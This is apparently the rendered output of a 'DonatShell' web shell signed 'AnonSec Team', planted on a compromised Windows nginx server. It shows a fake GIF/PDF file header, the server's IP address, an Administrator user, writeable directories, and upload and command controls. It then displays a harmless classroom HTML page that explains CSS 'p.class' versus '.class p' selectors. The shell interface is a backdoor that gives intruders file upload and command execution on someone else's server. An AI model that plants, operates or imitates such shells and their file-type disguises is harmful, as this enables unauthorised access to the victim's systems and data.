GIF89a; %PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY Donat Was Here
DonatShell
Server IP : 134.29.175.74  /  Your IP : 216.73.216.160
Web Server : nginx/1.10.2
System : Windows NT CST-WEBSERVER 10.0 build 19045 (Windows 10) i586
User : Administrator ( 0)
PHP Version : 7.1.0
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /nginx/html/JimMartinson/CST1021/Resources/Examples/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :

[ HOME SHELL ]     

Current File : /nginx/html/JimMartinson/CST1021/Resources/Examples/p.class vs .class p.html
<!DOCTYPE html>

<html lang="en">

<head>
	<title>p.class vs .class p</title>
	<meta charset="utf-8">
	<style>
		.myclass p { background-color:BurlyWood; }      /* This is an example of .class p */
		.myclass { color:red; }
		div { border:1px solid silver; }
		p { border:1px solid #80f; color:blue; }
		p.myclass { color:green; }                      /* This is an example of p.class */
		pre { margin:0; }
		pre.code { color:#06f; background-color:#ffc; }
	</style>
</head>

<body>
<h1>p.class vs .class p</h1>

The following styles are set in this document:<pre>
&lt;style&gt;
	.myclass p { background-color:BurlyWood; }      /* This is an example if .class p */
	.myclass { color:red; }
	div { border:1px solid silver; }
	p { border:1px solid #80f; color:blue; }
	p.myclass { color:green; }                      /* This is an example of p.class */
	pre { margin:0; }
	pre.code { color:#06f; background-color:#ffc; }
&lt;/style&gt;</pre>
<hr>
<pre class="code"><span class="myclass">Code:</span>&lt;p&gt;This is a paragraph with no class. Text is blue.&lt;/p&gt;</pre>
<p>
This is a paragraph with no class. Text is blue.
</p>

<hr>
<pre class="code"><span class="myclass">Code:</span>&lt;div class="myclass"&gt;This is a div with class "myclass". Text is red.&lt;/div&gt;</pre>
<div class="myclass">
This is a div with class "myclass". Text is red.
</div>

<hr>
<pre class="code"><span class="myclass">Code:</span>&lt;p class="myclass"&gt;This is a paragraph with class "myclass". Text is green.&lt;/p&gt;</pre>
<p class="myclass">
This is a paragraph with class "myclass". Text is green.
</p>

<hr>
<pre class="code"><span class="myclass">Code:</span>&lt;div class="myclass"&gt;This is a div with class "myclass". Text is red.&lt;p&gt;There is a paragraph in this div. Text is blue because the p does not have a class.
&lt;br&gt;
It is, however, in an element with class "myclass" so it triggers the &lt;strong&gt;.myclass p&lt;/strong&gt; style and the background-color is BurlyWood.&lt;/div&gt;</pre>
<div class="myclass">
This is a div with class "myclass". Text is red.
<p>There is a paragraph in this div. Text is blue because the p does not have a class.
<br>
It is, however, in an element with class "myclass" so it triggers the <strong>.myclass p</strong> style and the background-color is BurlyWood.
</div>

</body>

</html>

Anon7 - 2022
AnonSec Team